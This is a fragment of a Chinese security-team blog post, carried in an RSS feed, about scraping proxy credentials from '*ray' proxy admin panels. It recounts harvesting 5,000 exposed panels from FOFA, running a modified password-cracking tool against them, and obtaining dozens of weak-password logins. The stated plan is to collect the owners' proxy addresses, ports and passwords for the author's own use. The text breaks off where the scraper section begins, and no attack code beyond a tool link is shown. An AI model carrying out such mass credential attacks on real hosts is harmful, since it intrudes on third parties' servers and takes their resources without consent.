70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247521601">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a93b47fd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521601%26idx%3D1%26sn%3D2106c859eeb376c71c30d44e8c7dcf43">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Sep 2025 16:55:00 +0800</pubDate>
    </item>
    <item>
      <title>编写爬取某框架面板管理后台代理池的脚本</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521573&amp;idx=1&amp;sn=b6ecc2a624134cb1d3acb7e263be0bb2</link>
      <description>关于爬取*ray面板管理后台代理池的脚本，支持系统状态监控 支持多用户多协议，网页可视化操作</description>
      <content:encoded><![CDATA[<p>
原创 <span>Komorebi</span> <span>2025-07-18 17:30</span> <span style="display: inline-block;">山东</span>
</p>

<p>关于爬取*ray面板管理后台代理池的脚本，支持系统状态监控 支持多用户多协议，网页可视化操作</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5dc46f07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycCiczcExt0Kl4dribiazzex1PlbCRQxmImHs3ibGy5TjEDDhZAmutwFkE5Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-w="42" class="rich_pages wxw-img" data-ratio="0.8571428571428571" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-w="94" class="rich_pages wxw-img" data-ratio="0.8936170212765957" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-all;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">0x01 框架简介</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">对于*ray框架之前接触不多，先来熟悉一下相关资料。 *ray面板管理后台界面，常用于V2Ray/*ray代理服务的部署和管理。 功能介绍： 系统状态监控 支持多用户多协议，网页可视化操作 支持的协议：vmess、vless、trojan、shadowsocks、dokodemo-door、socks、http 支持配置更多传输配置 流量统计，限制流量，限制到期时间 可自定义 *ray 配置模板 支持 https 访问面板（自备域名 + ssl 证书） 支持一键SSL证书申请且自动续签 </span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">0x02 目的</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">*ray面板管理后台登录后的功能如下:</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037899" class="rich_pages wxw-img" data-ratio="0.3701657458563536" data-type="png" data-w="905" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a678e53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9yc7UJnfJg7wDgRwGKIhrkTtvncktRrku79314kAiayibo097nefIqZsV4g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">如果我们将图中“入站列表”中的代理协议（如 SOCKS）、地址、端口、用户名和密码等信息通过脚本爬取下来,那么后续可以根据爬取的结果，自动生成代理工具（如 Clash、Proxifier、Shadowsocks 客户端）的配置文件，批量部署代理连接；或者进行结合脚本批量对这些节点进行延迟测试、测速、存活探测等等。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">0x03 口令爆破</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">在尝试编写脚本之前，需要想办法收集一波资产</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf=""><img data-imgfileid="100037903" class="rich_pages wxw-img" data-ratio="0.5568181818181818" data-type="png" data-w="880" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f45f87f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycmFsPYXggHDgTz1cQaiayPzeERFjndVZkXiaVZM8ItribxLbUeYDd6Qubg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">这里我导出了5k条。接下来就需要爆破其中的弱口令了，在github上找了一圈觉得还是用我们团队大佬之前自己开发的web_pwd_common_crack比较好~</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciaVFHYib1qU7dRvc3m0hLSnicggahO6ibhAuA2EYKFK8YxuVbwdnvlibXNvf8FraIDpVSaC1ySu9nmDXr/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""><a href="https://github.com/TideSec/web_pwd_common_crack" target="_blank">https://github.com/TideSec/web_pwd_common_crack</a></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">不过这脚本年代太久了，还是python2，先把它简单修改一下为支持python3吧。 主要是把新版本不兼容的地方改进一下，比如基本语法更新（所有print语句添加括号，使用queue替代Queue，使用is_alive()替代isAlive()），还有字符串和编码处理，HTTP请求处理等等。另外还要做一下性能优化，毕竟我的云主机配置太低，万一跑着脚本卡死就浪费时间了. 添加延时，避免CPU占用过高:</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037900" class="rich_pages wxw-img" data-ratio="0.6228571428571429" data-type="png" data-w="875" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=61269afb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycNou017AMMjcnLoXG2HBnJcqGMvxVJF6Fv6H3ibQrWriaLVWRS2fYJJMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">改进内存的使用:</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037902" class="rich_pages wxw-img" data-ratio="0.708904109589041" data-type="png" data-w="876" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0ae338a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycQiaQFa01eyIoC1hiaedu3B5SXAWiau6YUtQpj9dFKXMJxkaBlJcZJr1uw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">运行虽然有报警，但是可以正常跑，不强求。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037901" class="rich_pages wxw-img" data-ratio="0.44280860702151753" data-type="png" data-w="883" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=09dd7780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycDdsRFyXaibBh73icgZcSZOGu2fZicacByrntMXr59TFnw5qO537biazthw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">最终5k条FOFA导出的数据共计跑出几十条弱口令。没办法，云主机性能有限而且资产量太大，只能把账号和密码字典设的少一些了。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">0x04 编写爬虫脚本</span></span><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 